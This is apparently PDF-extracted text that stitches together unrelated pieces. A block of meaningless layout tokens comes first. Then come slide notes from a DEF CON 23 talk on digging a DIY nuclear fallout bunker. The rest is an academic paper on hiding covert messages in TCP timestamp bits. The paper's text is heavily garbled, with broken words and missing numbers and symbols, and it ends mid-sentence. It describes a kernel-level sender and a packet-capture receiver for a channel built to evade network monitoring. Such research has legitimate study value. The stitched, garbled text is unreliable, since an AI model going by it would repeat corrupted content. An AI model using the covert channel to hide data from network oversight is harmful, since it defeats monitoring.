PIU1203 PIU1204 PIU1205 PIU1206 PIU1207 PIU1208 PIU1209 PIU12010 PIU12011 PIU12012 PIU12013 PIU12014 PIU12015 PIU12016 PIU12017 PIU12018 PIU12019 PIU12020 COU12 PIU1301 PIU1302 PIU1303 PIU1304 PIU1305 PIU1306 COU13 PIU1401 PIU1402 PIU1403 PIU1404 PIU1405 PIU1406 COU14 PIU1501 PIU1502 PIU1503 PIU1504 PIU1505 PIU1506 PIU1507 PIU1508 PIU1509 PIU15010 PIU15011 PIU15012 PIU15013 PIU15014 PIU15015 PIU15016 PIU15017 PIU15018 PIU15019 PIU15020 COU15 PIC1702 PIC1802 PIC1902 PIU9019 PIU12019 PIU15019 PIP202 PIP702 PIR1101 NLCH0 PIP203 PIP704 PIR1102 NLCH1 PIP204 PIP705 PIR1103 NLCH2 PIP205 PIP706 PIR1104 NLCH3 PIP301 PIP707 PIR1105 NLCH4 PIP302 PIP708 PIR1106 NLCH5 PIP303 PIP709 PIR1107 NLCH6 PIP304 PIP7010 PIR1108 NLCH7 PIP305 PIP802 PIR1201 NLCH8 PIP401 PIP804 PIR1202 NLCH9 PIP402 PIP805 PIR1203 NLCH10 PIP403 PIP806 PIR1204 NLCH11 PIP404 PIP807 PIR1205 NLCH12 PIP405 PIP808 PIR1206 NLCH13 PIP501 PIP809 PIR1207 NLCH14 PIP502 PIP8010 PIR1208 NLCH15 PIP503 PIP902 PIR1301 NLCH16 PIP504 PIP904 PIR1302 NLCH17 PIP505 PIP905 PIR1303 NLCH18 PIP601 PIP906 PIR1304 NLCH19 PIP602 PIP907 PIR1305 NLCH20 PIP603 PIP908 PIR1306 NLCH21 PIP604 PIP909 PIR1307 NLCH22 PIP605 PIP9010 PIR1308 NLCH23 PIC1701 PIC1801 PIC1901 PIC2001 PIC2101 PIC2201 PIP201 PIP701 PIP801 PIP901 PIR1001 PIU702 PIU802 PIU9011 PIU1002 PIU1102 PIU12011 PIU1302 PIU1402 PIU15011 PIR1002 PIU9010 PIU12010 PIU15010 POTXSOE PIR1109 PIU703 PIU909 PIR11010 PIU701 PIU908 PIR11011 PIU706 PIU907 PIR11012 PIU704 PIU906 PIR11013 PIU803 PIU905 PIR11014 PIU801 PIU904 PIR11015 PIU804 PIU903 PIR11016 PIU806 PIU901 PIR1209 PIU1006 PIU1209 PIR12010 PIU1004 PIU1208 PIR12011 PIU1003 PIU1207 PIR12012 PIU1001 PIU1206 PIR12013 PIU1103 PIU1205 PIR12014 PIU1101 PIU1204 PIR12015 PIU1106 PIU1203 PIR12016 PIU1104 PIU1201 PIR1309 PIU1304 PIU1509 PIR13010 PIU1306 PIU1508 PIR13011 PIU1303 PIU1507 PIR13012 PIU1301 PIU1506 PIR13013 PIU1406 PIU1505 PIR13014 PIU1404 PIU1504 PIR13015 PIU1403 PIU1503 PIR13016 PIU1401 PIU1501 PIU9020 NLP0 PIU9018 NLP1 PIU9017 NLP2 PIU9016 NLP3 PIU9015 NLP4 PIU9014 NLP5 PIU9013 NLP6 PIU9012 NLP7 PIU12020 NLP8 PIU12018 NLP9 PIU12017 NLP10 PIU12016 NLP11 PIU12015 NLP12 PIU12014 NLP13 PIU12013 NLP14 PIU12012 NLP15 PIU15020 NLP16 PIU15018 NLP17 PIU15017 NLP18 PIU15016 NLP19 PIU15015 NLP20 PIU15014 NLP21 PIU15013 NLP22 PIU15012 NLP23 PIC2002 PIC2102 PIC2202 PIP703 PIP803 PIP903 PIU705 PIU805 PIU902 PIU1005 PIU1105 PIU1202 PIU1305 PIU1405 PIU1502 POP02300000 POTXSOE
pdf
DIY Nukeproofing: A New Dig at “Data-Mining” By 3AlarmLampscooter DEF CON 23 Version 0.1b @3AlarmLampscoot on twitter for updates DIY Nukeproofing: Outline ● Why technologies like SILEX / AVLIS / MLIS are democratizing nuclear proliferation (FUD) ● Identifying risk and requirements to mitigate it ● Getting “shovel-ready” ● Taking “data-mining” very literally Atomic Dominoes: Baryons to Bombs ● Neutron discovered in 1932 ● Fissile nuclei split when hit! ● ...and give off more neutrons such radiation much explosion very fission product wow Pitchblende and the Manhattan Project ● Fissile material is not naturally occurring ● ...but pitchblende is, with up to 20% U ● Enter $26B of inflation-adjusted defense research and development during World War II Separation Anxiety ● Mining and refining proved to be easy (sort of) ● ...enrichment, not so much. ● 13,300,000kg of Silver and nothing to show for it Centrifuges proved practical... ● Sort of, aside from needing 1,000s rotating near the speed of sound ● Has remained defacto standard for enrichment It had some wicked deliverables... ● Plutonium implosion-type ● “Fat Man” 21kt, 14lbs Pu ● Uranium gun-type ● “Little Boy” 13kt 140lbs U Little Boy's closest survivors... ● Eizo Nomura at 170m from ground zero in the basement of the Hiroshima Prefecture Fuel Rationing Union ● Akiko Takakura at 300m from ground zero in Bank of Hiroshima's Vault Heating up the Cold War ● Teller-Ulam devices making use of tritium ● Yields as high as 50MT (USSR) ● Lots of centrifuges spinning 24/7 ● Ultimately we find a Nash Equilibrium... ● tl;dr MAD for Superpowers, why aren't all dead ● A whole lot of “hot” glass caverns left at the Nevada Test Site, data on blast protection Loose Nukes ● Old bomb cores remain unaccounted for/lost ● Most thefts have been by small time criminals ● No recorded instances in bomb-size quantity ● Successfully smuggling strategy limited to submarines, tunnels, low flying drones ● Proliferation has thus far eluded non-state actors Asymmetric Warfare: The Mouse That Roared ● Best Korea's Nuclear Necrocracy ● Skirting the lines of a “nation state” ● The smallest known nuclear program to date ● Kim Jong-Un's battle with Uric Acid ● ...poster-child of 21st century proliferation, “trickling down” to non-state actors Laser Isotope Separation ● Ongoing clandestine development (AVLIS / MLIS / SILEX) ● Increasingly efficient processes ● Extremely compact by comparison ● Depreciates centrifuges ● Greatly reduces barrier of entry to proliferation ● Threat mounts with laser diode development Systematic Decomposition of NUDET Protection ● Broad-spectrum radiation ● Blast over-pressure ● Seismic shock ● Fallout, decay products ● Secondary radioactivity ● Widespread conflagration ● Potential civil unrest The Mineshaft Gap ● The solution is below your feet... or can be ● Civilian bunkers – newly popular in the '50s ● Switzerland – bunkers mandatory since '63 ● Interest waned with stockpile reductions ● Resurgence after 9/11 Location, Location, Location ● Estimate nearby hazards/targets ● Use NukeMap for blast and radiation data ● Above the water table and/or in an aquiclude ● Avoid loose rock, sand, flood prone areas, etc ● Hard rock increases complexity, protection ● Clays offer high strength and plasticity Determine Project Scope ● Primarily limited by time and money ● Yes you can copy Cheyenne Mountain... ● ...but not cheaply or quickly ● For exercise and a hobby, keep it manual ● For speed, keep it under 2,000 ft3 (56m3) ● You can always go deeper... Soil Stability ● “I like my soil how I like my women, type A” ● 4:1 benching without support ● Trench and tunnel support minimized ● Much easier to excavate than hard rock ● OSHA's “thumb test” ● Extreme care must be taken near karst, in sand Don't forget to call 811 ● Hitting a buried gas line will probably kill you ● Vacuum excavation for exposing utilities Diggin', dig it up! ● Preferred excavation method varies ● Cut and cover is easier, compromises rock ● Shaft & Adit / Trench & Tunnel confined areas ● “Sortie rate” limits excavation, except hard rock ● Operating gas/diesel equipment underground Excavation methods ● Think of it like a small mining operation ● Optimize Loading, Hauling, Dumping phases ● Type B&C soil require continuous support ● Fracturing type A soil: mattock, rotary hammer ● Fracturing soft rock: jackhammer ● Fracturing hard rock: hydraulic breaker hammer, blasting Haulage ● In confined spaces, consider 5 gal buckets ● Wheelbarrows work well on shallow grades, can be winched uphill or vertically (headframe) ● Mini-loaders like the Toro Dingo fairly well work in long trenches with a shallow slope ● Continuous haulage systems are expensive Headframes on Shafts ● Primarily used for mine shafts ● Well suited to replace a rental crane ● Ideal for operations with a small footprint ● Expect $400 total for ~500kg capacity DIY ● Ends up being the “limiting reagent” in sortie rate Taking a Dump ● Disposing of spoil is usually expensive ● You can use craigslist and give it away ● Filling in nearby low lying areas is easier ● Keep in mind overall “sortie rate” in terms of tonnage efficiency Temporary Support Systems ● Spot shoring is sufficient in hard soil/soft rock ● Large cracks and kettlebells are extremely dangerous, cracked dikes can be unstable ● On a small scale, wood falsework is practical ● Leveling jacks and schedule 40 pipe are great ● Remaining alert to ground deformation is critical Permanent Support ● Glass fiber reinforced concrete ● 4” rebar spacing is ideal for NUDET protection ● Egg-shaped tunnels most collapse resistant ● Worst case scenario involves bedrock fracture ● Waterproofing is required below the water table! Ventilation ● Breathing silicates will cause silicosis ● P100 respirator offers protection, taxing ● Wetting dust is an option, issues with humidity ● Tethered SCBAs are very effective ● If operating an engine, large blowers required ● Tape and LDPE sheeting is cheaper than ducts Utilities ● Keeping a server online underground is easier ● Cooling generally not an issue in small scale ● Best to run waterproof conduit ● Battery operated sump pump for dewatering ● No substitute for a trash pump in a flood Related Reading ● http://www.globalzero.org/files/gz_nuclear_weapons_cost_study.pdf ● http://thebulletin.org/silex-and-proliferation ● http://www.laserfocusworld.com/articles/print/volume-42/issue-8/world-news/laser-isotope-separation-fuel-enrichment-method- garners-ge-contract.html ● http://nuclearsecrecy.com/nukemap/ ● http://www.smithsonianmag.com/science-nature/top-ten-cases-of-nuclear-thefts-gone-wrong-10854803/ ● http://library.uoregon.edu/ec/e-asia/read/masonry.pdf ● http://www.roadplates.com/htdocs/osha/ ● http://www.trenchshorerentals.com/files/3513/8272/7289/POCKET_GUIDE.pdf ● http://courses.washington.edu/cm420/Lesson5.pdf ● http://www.idahogeology.org/PDF/Bulletins_(B)/B-21.pdf ● https://www.pbworld.com/pdfs/publications/monographs/wang.pdf
pdf
Co v ert Messaging Through TCP Timestamps John Gin  Rac hel Greenstadt  P eter Lit w ac k  Ric hard Tibb etts  fgifgreeniep li twa ck ti bb et tsg m it ed u Massac h usetts Institute of T ec hnology Abstract W e presen t a proto col for sending data o v er a common class of lo wbandwidth co v ert c hannels Co v ert c hannels exist in most com m unications systems and allo w individuals to comm unicate truly unde tectably Ho w ev er co v ert c hannels are seldom used due to their complex it y Our proto col is b oth practical and secure against attac k b y p o w erful adv ersaries W e implemen t our proto col on a standard platform Lin ux exploiting a c hannel in a common comm unications system TCP times tamps  In tro duction A co v ert c hannel is a comm unications c hannel whic h allo ws information to b e transferred in a w a y that violates a securit y p olicy As a result co v ert c hannels are imp ortan t metho ds of censorship resistance An eectiv e co v ert c hannel is undetectable b y the adv ersary and can pro vide a strong degree of priv acy Often the fact that secret comm unication is taking place b et w een parties is extremely rev ealing Consider the prisoners problem rst form ulated b y Simmons Alice and Bob are in prison attempting to plan an escap e They are allo w ed to comm uni cate but a W arden w atc hes all of their comm unications If the W arden notices that they are planning to escap e or ev en susp ects them of trying to comm unicate secretly they will b e placed in solitary connemen t The prisoners problem is theoretically in teresting and pro vides a go o d ex planation of the problem that co v ert c hannels solv e this problem is increasingly relev an t in real w orld situations Man y go v ernmen ts pro vide restrictions on the use of cryptograph y on their systems The situation is particularly extreme in China where all ISPs are sub ject to go v ernmen t con trol although electronic systems are increasingly sub ject to surv eillance in all parts of the w orld as at tempts to in tegrate Carniv ore monitoring systems in US ISPs has sho wn Priv ate companies increasingly monitor and censor comm unications with re w alls An eectiv e co v ert c hannel requires sev eral apparen tly con tradictory prop er ties Plausibilit y the adv ersary m ust b eliev e that it is not only p ossible but lik ely that the user of the co v ert c hannel is using the medium in whic h the co v ert c hannel is found without sending co v ert data Randomness In order for the c hannel to b e undetectable the bits in whic h data is sen t m ust b e random otherwise the high en trop y signature of en crypted data will b e noticed Indisp ensabilit y The c hannel m ust b e something whic h an adv ersary cannot or will not close o usually due to the fact that it serv es some useful function to the users whic h are not sending co v ert data TCP timestamps are useful for this purp ose b ecause they satisfy these prop erties to a high degree TCP is ubiquitous proto col used all o v er the w orld for the ma jorit y of all In ternet trac It is almost alw a ys emplo y ed using the timestamp option As a result it is extremely plausible that the ma jorit y of users using TCP will not b e sending co v ert data and ha v e a go o d reason for using it On a slo w connection the lo w order bits of timestamps app ear random As a result statistical analysis of the headers of the pac k et will b e ineectiv e in detecting the c hannel Since TCP is so widely emplo y ed it is lik ely that users who are not sending co v ert data w ould react unfa v orably to attempts to mo dify their TCP pac k ets on a large scale or to limit the timestamp option whic h is used to ensure high p erformance The c hannel is brok en if it is detected b y the adv ersary This situation can b e mo deled as follo ws F or an y t w o TCP connections t  and t  on the same net w ork an adv ersary cannot distinguish whic h of the connections is using with probabilit y greater than   The c hannel is also brok en if the adv ersary can den y service to the users of the co v ert c hannel while still allo wing service to the users of unmo died TCP connections The adv ersary has the p o w er to monitor all the trac on the net w ork and to mo dify some trac The adv ersary only views net w ork trac and cannot see the pro cessing of pac k ets on sender and receiv er mac hines W e consider an ea v esdropp er who has the p o w er to mo dify an y n um b er of pac k ets but cannot constan tly mo dify pac k ets sen t b y a single host In the prisoners analogy the w arden w ould not b e constan tly c hanging ev ery message whic h passes b et w een prisoners but migh t o ccasionally mo dify some messages in the hop es of detecting co v ert comm unication The w arden lac ks the resources to mo dify ev ery message sen t b et w een ev ery prisoner all of the time If the w arden w as sucien tly suspicious of one prisoner to mo dify all of their messages he w ould just put that prisoner in solitary and b e done with it It is notable to realize that if a more p o w erful adv ersary than this is willing and capable of either prev en ting users from using the timestamp option with TCP or o v erwriting the lo w order bits of TCP timestamps of ev ery pac k et then the adv ersary will ha v e closed the c hannel W e assume that the adv ersary is either un willing to do this unable to do this or will b e anno y ed b y b eing forced to do this In addition w e b eliev e that ev en if this c hannel is closed the tec hniques presen ted in this pap er will b e useful in pro viding reliable comm unication o v er other lo w bandwidth co v ert c hannels It is also useful to realize that ev en if the adv ersary denies service to the c hannel he still cannot detect whether co v ert data w as b eing sen t regardless of ho w m uc h data he mo dies or snip es Most of the in teresting w ork whic h w e ha v e done deals with the problem of sending a message at a rate of one bit p er pac k et o v er an unreliable c hannel and w e b eliev e that ev en if this particular c hannel is closed the w ork w e ha v e done will b e relev an t to other similar c hannels that ma y b e iden tied  Related W ork Man y other c hannels ha v e b een iden tied in TCP These include initial sequence n um b ers ac kno wledged sequence n um b ers windo wing bits and proto col iden ti cation These pap ers fo cus on nding places where co v ert data could p oten tially b e sen t but do not w ork out the details of ho w to send it Those implemen tations whic h exist generally place in to header elds v alues that are incorrect unreasonable or ev en outside the sp ecication As long as the ad v ersary is not lo oking this ma y b e eectiv e but it will stand up to concerted attac k b eing eectiv ely securit y through obscurit y These systems do cannot withstand statistical analysis The TCP proto col is describ ed in RF C   A securit y analysis TCPIP can b e found in  W e are certainly not the rst group of p eople to iden tify the p ossibilit y of using the TCPIP Proto col Suite for the purp oses of transmitting co v ert data In Co v ert Channels in the TCPIP Proto col Suite Craig Ro wland describ es the p ossibilit y of passing co v ert data in the IP iden tication eld the initial sequence n um b er eld and the TCP ac kno wledge Sequence Num b er Field He wrote a simple pro ofofconcept ra wso c k et implemen tation covert tcpc The p ossibilit y of hiding data in timestamps is not discussed W e feel that em b edding data in the c hannels iden tied here w ould not b e sucien t to hide data from an adv ersary who susp ected that data migh t b e hidden in the TCP stream In IP Chec ksum Co v ert Channels and Selected Hash Collision the idea of using in ternet proto col c hec ksums for co v ert comm unication is discussed T ec h niques for detecting co v ert c hannels as w ell as p ossible places to hide data in the TCP stream are discussed the sequence n um b ers duplicate pac k ets TCP windo w size and the urgen t p oin ter in the meeting notes of the UC Da vis Denial of ServiceDOSPro ject The idea of using timing information for co v ert c hannels in hardw are is de scrib ed in Coun termeasures and T radeos for a Class of Co v ert Timing Chan nels More generalized use of timing c hannels for sending co v ert information is describ ed in Simple Timing Channels Co v ert c hannels are discussed more generally in a v ariet y of pap ers A gener alized surv ey of informationhiding tec hniques is describ ed in Information Hid ing A Surv ey  Theoretical issues in information hiding are considered in  and  John McHugh pro vides a w ealth of information on analyzing a system for co v ert c hannels in Co v ert Channel Analysis The sub ject is addressed mainly in terms of classied systems These sorts of c hannels are also analyzed in Co v ert Channels Here to Sta y These pap ers fo cus on the prev en tion of co v ert c hannels in system design and detecting those that already exist rather than exploiting them GJ Simmons has done a great deal of researc h in to subliminal c hannels He w as the rst to form ulate the prob lem of co v ert comm unication in terms of the prisoners problem did substan tial w ork on the history of subliminal comm unication in particular in relation to compliance with the SAL T treat y and iden tied a co v ert c hannel in the DSA  Design  Goals The goal of this system is to co v ertly send data from one host to another host There are t w o imp ortan t parts to this goal First w e m ust send data Second w e m ust b e co v ert ie only do things that our adv ersary could not detect It is imp ortan t to note that these t w o goals are at o dds with eac h other In order to send data w e m ust do things that the receiving host can detect Ho w ev er in order to b e co v ert w e m ust not do an ything that an ea v esdropp er can detect W e approac h this problem b y presuming the existence of a co v ert c hannel that meets as few requiremen ts as p ossible W e then describ e a proto col to use suc h a c hannel to send data Finally w e iden tify a co v ert c hannel that meets the requiremen ts that w e ha v e prop osed  Characteristics of the Channel In designing our co v ert c hannel proto col w e seek to iden tify the minim um re quiremen ts for a c hannel whic h w ould allo w us to send useful data In the w orst case scenario the c hannel w ould b e bit wise lossy unac kno wl edged and the bits sen t w ould b e required to pass certain statistical tests By bit wise lossy w e mean the c hannel can drop and reorder individual bits By un ac kno wledged w e mean that the sender do es not kno w what bits if an y w ere dropp ed and do es not kno w what order the bits arriv ed in Using this c hannel to send data is extremely dicult Ho w ev er if w e relax these restrictions in reasonable w a ys the problem b ecomes clearly tractable F or simplicit y w e will assume that the only statistical test that the bits m ust pass is one of randomness since this will b e con v enien t for em b edding encrypted data This is reasonable since it is not prohibitiv ely dicult to iden tify co v ert c hannels that normally ie when they are not b eing used to send co v ert data con tain an equal distribution of ones and zeros W e will also assume that eac h bit has a nonce attac hed to it and that if the bit is deliv ered it arriv es with its nonce in tact This condition is b oth sucien t to mak e the c hannel usable to send data and lik ely to b e met b y man y co v ert c hannels in net w ork proto cols The reason wh y it is an easy condition to meet is that most co v ert c hannels in net w ork proto cols in v olv e em b edding one or more bits of co v ert data in a pac k et of inno cuous data Th us the inno cuous data or some p ortion thereof can serv e as the nonce  Assumptions W e presume that w e ha v e a c hannel with the ab o v e c haracteristics W e further presume that the adv ersary cannot detect our use of that c hannel Lastly w e presume a shared secret exists b et w een the sender and receiv er The rst t w o presumptions will b e justied in sections  and  resp ec tiv ely The third presumption is justied on the grounds that it is imp ossible to solv e the problem without it This is the case b ecause if the sender and receiv er did not ha v e a shared secret there w ould b e nothing to distinguish the receiv er from the adv ersary An y message that the sender could pro duce that w as de tectable b y the receiv er could b e detected b y the adv ersary in the same manner Note that public k ey cryptograph y is no help here b ecause an y k ey negotiation proto col w ould still require sending a message to the receiv er that an y one could detect W e also assume that it is sucien t to implemen t a b est eort datagram service suc h as that pro vided nonco v ertly b y the In ternet Proto col In suc h a service pac k ets of data are deliv ered with high probabilit y The pac k ets ma y still b e dropp ed or reordered but if a pac k et reac hes its destination all the bits in the pac k et reac h the destination and the order of the bits within the pac k et is preserv ed This lev el of service is sucien t b ecause the tec hniques to implemen t reliabilit y o v er unreliable datagrams are w ell understo o d and in some applications reliabilit y ma y not b e required W e no w presen t a metho d to implemen t b est eort datagrams o v er a c hannel with the ab o v e c haracteristics  Proto col In order to send messages o v er this c hannel w e send one bit of our message blo c k M p er bit of the c hannel rather than sending some function of m ultiple bits This w a y eac h bit of the data is indep enden t and if one bit is lost or reordered it will not aect the sending of an y of the other bits W e c ho ose whic h bit of the message blo c k to send based on a k ey ed hash of the nonce That is for a message blo c k of size l and a k ey K on the pac k et with nonce t w e send bit n um b er n where n H ht K i mo d l  The hash function H should b e a cryptographic hash function whic h is collisionfree and onew a y Because the nonce T will v ary with time whic h bit w e send will b e a random distribution o v er the l bits in the blo c k W e can k eep trac k of whic h bits ha v e b een sen t in the past in order to kno w when w e ha v e sen t all the bits The exp ected n um b er of c hannel bits x it tak es to send the l bits of the blo c k will b e x l X i l l i  Of course b ecause our c hannel loses bits this is not sucien t W e th us send eac h bit more than once calling the n um b er of times w e send eac h bit the o ccupation n um b er of that bit o The probabilit y of our message getting through p will b e based on the probabilit y that a bit is dropp ed d and the o ccupation n um b er o The probabilit y will b e b ounded b elo w b y  d o l Th us for an y drop rate w e can c ho ose a sucien tly high o ccupation n um b er to assure that our messages will get through And for small drop rates the o ccupation n um b er do es not need to b e large to for the probabilit y of successful transmit to b e high When sending eac h bit it m ust ha v e the same statistical prop erties as the co v ert c hannel has when not b eing used or else an adv ersary could use statistical analysis to detect the use of the c hannel As w e men tioned ab o v e w e assume that the c hannel is normally random Th us our bits m ust app ear random Since m uc h researc h has b een done in nding cryptographic means to mak e ciphertexts indistinguishable from random distributions this will b e easy W e accomplish this as follo ws W e deriv e a k ey bit k from the same k ey ed hash of the nonce t in Equation  making sure to not correlate n and k k  j H h tK i l k mo d  otherwise  The transmitted bit b is the exclusiv e or of the k ey bit k and the plain text message bit M n Because k seems random M n will seem random and th us the random c haracteristic of our c hannel is preserv ed There are sev eral tec hniques that the sender can use to determine when a bit has b een transmitted The sender assumes that a blo c k has b een transmitted after it has ac hiev ed the o ccupation n um b er o for ev ery bit in the message In order for the receiv er to kno w when they ha v e receiv ed a blo c k the last l c bits of the message are a c hec ksum C of the rst l l c bits  Finding a Co v ert Channel In attempting to lo cate a co v ert c hannel w e restrict our considerations to co v ert c hannels o v er the net w ork This is b ecause most of the time the net w ork is the only mec hanism through whic h a pair of hosts can reasonably comm unicate There are t w o w a ys that w e could transmit information W e could send new pac k ets and try to mak e them lo ok inno cuous or w e could mo dify existing pac k ets Ob viously it will b e easier to main tain co v ertness if w e mo dify exist ing pac k ets If w e w ere to send new pac k ets w e w ould need to come up with a mec hanism to generate inno cuous lo oking data If an adv ersary knew what this mec hanism w as they could lik ely detect our fak e inno cuous data and our comm unication w ould no longer b e co v ert In con trast if w e mo dify pac k ets all pac k ets that get sen t are legitimate pac k ets and an adv ersary will ha v e a more dicult time detecting that an ything is amiss Th us w e c ho ose to mo dify existing pac k ets W e can mo dify existing pac k ets in t w o w a ys W e can mo dify the application data or w e can mo dify the proto col headers Mo difying the application data requires a detailed understanding of the t yp e of data sen t b y a wide v ariet y of applications Care m ust b e tak en to ensure that the mo died data could ha v e b een generated b y a legitimate application and w e m ust guess what sort of applications the adv ersary considers inno cuous It is easier and more general to mo dify the proto col headers b ecause there are few er net w ork proto cols in existence than application proto cols Most applications use one of a handful of net w ork proto cols F urthermore the in terpretation of proto col header elds is w ell dened so w e can determine if a c hange to a eld will disrupt the proto col The problem remains ho w ev er that w e m ust only pro duce mo died proto col headers that w ould normally ha v e b een pro duced b y the op erating system F or example w e could attempt to mo dify the least signican t bit of the windo w size eld of TCP pac k ets Ho w ev er most  bit op erating systems tend to ha v e windo w sizes that are a m ultiple of four Since our mo dication w ould pro duce man y windo w sizes that w ere not m ultiples of four an adv ersary could detect that w e w ere mo difying the windo w size elds Similarly w e could attempt to hide data in the iden tication eld of IP pac k ets Ho w ev er man y op erating systems normally generate sequen tial iden tication eld v alues so an adv ersary could detect the presence of co v ert data based up on this discrepancy F or these reasons w e wish to a v oid directly mo difying pac k et headers Instead w e observ e that more subtle mo dications to the op erating systems handling of pac k ets can result in a legitimate and th us presumably harder to detect c hange in headers In particular if w e dela y the pro cessing of a pac k et in a proto col with timestamps w e can cause the timestamp to c hange Detecting these dela ys will lik ely b e v ery dicult b ecause op erating system timing is v ery complex and dep ends on man y factors that an adv ersary ma y not b e able to measure other pro cesses running on the mac hine when k eys are pressed on the k eyb oard etc Th us this tec hnique for sending information is v ery dicult to detect W e no w lo ok at applying this tec hnique to TCP to create a c hannel with the prop erties describ ed ab o v e  TCP Timestamps as a Co v ert Channel By imp osing sligh t dela ys on the pro cessing of selected TCP pac k ets w e can mo dify the lo w order bits of their timestamps The lo w bit of the TCP timestamp when mo died in this w a y pro vides a co v ert c hannel as describ ed ab o v e The lo w bit is eectiv ely random on most connections The rest of the pac k et or some subset can b e our nonce When examined individually pac k ets and th us bits are not deliv ered reliably Because TCP timestamps are based purely on in ternal timings of the host on a slo w connection their lo w bits are randomly distributed By rewriting the timestamp and v arying the timing within the k ernel w e can c ho ose the v alue of the lo w bit As long as w e c ho ose v alues with a statistically random distribution they will b e indistinguishable from the unaltered v alues The rest of the TCP headers pro vides a nonce that is nearly free from rep etition The sequence n um b er sen t with a TCP pac k et is c hosen more or less randomly from a   n um b er space Th us it is unlik ely to rep eat except on re transmission of a pac k et Ev en if it do es rep eat the ac kno wledgmen t n um b er and windo w size elds will lik ely ha v e c hanged Ev en if those elds are the same the high order bits of the timestamp will lik ely ha v e c hanged It is extremely unlik ely that all of the headers including the high order bits of the timestamp will ev er b e the same on t w o pac k ets While TCP is a reliable stream proto col it pro vides a stream of b ytes that are reliably deliv ered rather than guaran teeing reliable deliv ery of individual pac k ets F or example if t w o small pac k ets go unac kno wledged they ma y b e coalesced in to a single larger pac k et for the purp ose of retransmission As a result bits asso ciated with the pac k ets can b e dropp ed when their pac k ets are not resen t Also b ecause b ytes are ac kno wledged rather than pac k ets it is often not clear whether a giv en pac k et got through further complicating the question of whether a bit w as deliv ered  TCP Sp ecic Challenges Rewriting TCP timestamps presen ts some additional c hallenges o v er and ab o v e a standard implemen tation of the proto col from Section  Timestamps m ust b e monotonically increasing Timestamps m ust reect a reasonable progression of time And when timestamps are rewritten it can cause the nonce in the rest of the pac k et to c hange Timestamps m ust b e monotonically increasing Because timestamps are to reect the actual passing of time no legitimate system w ould pro duce earlier timestamps for later pac k ets W ere this done it could b e observ ed b y c hec king the in v arian t that a pac k et with a larger sequence n um b er in a stream also has a timestamp greater than or equal to other pac k ets in that stream When rewriting timestamps w e m ust honor this in v arian t As a result if presen ted with the timestamp  and needing to send the bit w e m ust rewrite to  rather than  Additionally w e m ust mak e sure than an y follo wing pac k et has a timestamp of not less than  ev en if the correct timestamp migh t still b e  Timestamps m ust reect a reasonable progression of time Though times tamps are implemen tation dep enden t and their lo w order bits random the pro gression of the higher order bits m ust reect w all clo c k time in most implemen tations Because an adv ersary can b e presumed to kno w the implemen tation of the unmo died TCP stac k they are a w are of what the correct v alues of times tamps are In order to send out pac k ets with mo died timestamps and k eep timestamps monotonically increasing streams m ust b e slo w ed so that the times tamps on pac k ets are v alid when they are sen t Th us w e can b e though t of as not rewriting timestamps but as dela ying pac k ets As an additional c hallenge b ecause w e m ust only increase timestamps w e will sometimes cause the high order bits of the timestamp to c hange T o decrease the c hance of nonce rep etition w e include the higherorder bits of the timestamp in the nonce When incremen ting timestamps these bits ma y c hange and the nonce will c hange When the nonce c hanges w e will ha v e to recompute n and k and th us ma y ha v e to further incremen t the timestamp Ho w ev er at this p oin t the lo w bit of the timestamp will b e and so incremen ting will not c hange the nonce This algorithm can b e seen in Figure   Cho osing P arameters for TCP F or a c hec ksum of size n bits a collision can b e exp ected one time in  n As suming a sustained pac k et rate of ten pac k ets p er second an upp er b ound w e will see a collision ev ery  n  seconds W e selected our c hec ksum to b e a m ultiple of eigh t and a p o w er of t w o to k eep the c hec ksum b yte aligned and to mak e it consisten t with standard hash functions A c hec ksum size of  bits is clearly to o small as it results in collisions ev ery t w o hours A  bit c hec ksum raises this time to  y ears whic h w e deem to b e an acceptable without making the amoun t of data p er blo c k to o small  Implemen tation  Sending Messages Our sender is implemen ted on top of the Lin ux k ernel The curren t implemen tation of a sender is a minor source mo dication to pro vide a ho ok to rewrite timestamps and a k ernel mo dule to implemen t the rewrite pro cess to trac k the curren t transmission and to pro vide access to the co v ert c hannel messaging to applications The curren t system only pro vides one c hannel to one host at a time but generalizing to m ultiple c hannels should not b e dicult W e selected SHA as the hash It is a standard hash function b eliev ed to b e collision resistan t and onew a y Source is freely a v ailable whic h made it ev en more attractiv e W e needed to put our o wn in terface on SHA and mo dify the co de so that it could b e used in b oth the k ernel co de and in the receiving application The basic algorithm is for eac h pac k et compute the cipher text bit to b e included in that pac k et according to Figure  Then the timestamp is rewrit ten according to the metho d describ ed in Figure  This is a simple function implemen ting the rewriting algorithm describ ed in Section  This algorithm can b e seen in the pseudo co de of Figure  particularly in the recursiv e call to EncodeP a cket T o enco de a pac k et the timestamp is incremen ted un til it has the prop er v alue to b e sen t When a pac k et is ready to b e sen t the o ccupation n um b er for the bit in the pac k et is increased Occupation n um b ers are trac k ed in the arra y T ransmitCoun t If the minim um o ccupation n um b er of ev ery bit in the blo c k is ev er higher than the required o ccupation n um b er the blo c k is presumed receiv ed and the next blo c k b egins transmission  Receiving Messages The receiving pro cess is designed to b e p ortable and en tirely lo cated in user space It is m uc h simpler than the sender side and the primary in teresting part is Start LSB of timestamp = cipher text bit? Increment timestamp Recompute cipher text bit Done Did the high order bits change? NO YES YES NO Fig  Rewriting Timestamps SHA1 Index KeyBit Plain Text Bit Cipher Text Bit Secret Key Packet Header Hash of Headers and Key bit 8 bits 0−7 Current Message Block Fig  Sender EncodeP a cketP ac k et P TimeStamp T GetHeadersP P ac k etHeader SHAP ac k etHeaders Index Curren tBlo c kIndex PlainT extBit SHAP ac k etHeaders KeyBit PlainT extBit KeyBit CipherT extBit if T  CipherT extBit then T  T if T then return Enco deP ac k etP T end if T ransmitCoun tIndex if Minim umT ransmitCoun t Minim umT ransmitCoun t then NextBlo c k Curren tBlo c k end if end if SendP ac k etP T Fig  Pseudo co de for EncodeP a cket Secret Key Packet Header SHA1 Hash of Headers and Key Index Plain Text Bit Current Message Block KeyBit Cipher Text Bit Timestamp bits 0−7 bit 8 Fig  Receiv er ReceiveP a cketP ac k et P TimeStamp T GetHeadersP P ac k etHeader SHAP ac k etHeaders Index T CipherT extBit SHAP ac k etHeaders KeyBit CipherT extBit KeyBit PlainT extBit PlainT extBit Curren tBlo c kIndex if V alidateChec ksumCurren tBlo c k then OutputBlo c k end if Fig  Pseudo co de for ReceiveP a cket determining when w e are done with a blo c k and the b oundaries b et w een dieren t data blo c ks P ac k ets are collected b y the receiv er using the libpcap in terface to the Berk e ley P ac k et Filter This library is part of the standard utilit y tcp dump and has b een p orted to a wide v ariet y of platforms Our receiv er is simple C using only libpcap and our SHA library Unlik e the sender it is not tied to the Lin ux platform and will probably run an ywhere that libpcap will run The receiv er main 